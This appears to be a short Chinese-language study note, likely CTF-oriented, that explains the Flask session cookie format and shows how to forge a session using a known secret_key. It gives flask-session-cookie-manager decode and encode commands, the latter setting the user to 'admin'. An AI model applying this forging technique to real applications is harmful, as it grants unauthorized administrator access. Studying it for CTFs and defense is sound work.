flask 的 session 格式
flask 的 session 格式一般是由下面三个部分组成
1 | base64 加密的 session 数据(json、zlib 压缩处理的字符串) . 时间戳 . 签名 |
时间戳:用来告诉服务端数据最后一次更新的时间
签名:是利用 Hmac 算法,将 session 数据和时间戳加上 secret_key 加密而成的,用来保证数据没有被修改
flask session 解密脚本
1 | #!/usr/bin/env python3 |
flask session 伪造
进行 session 伪造时,需要获取用于签名认证的 secret_key
然后使用 flask-session-cookie-manager 工具对 session 进行伪造
- 切换到虚拟环境
1 | conda activate flask-session-cookie-manager |
- 解密
1 | python flask_session_cookie_manager3.py decode -s "secret_key" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.Z25YIQ.vh41qIEVKNWJrGfoSBw07De0HMs" |
- 加密
1 | python flask_session_cookie_manager3.py encode -s "secret_key" -t "{'user': 'admin'}" |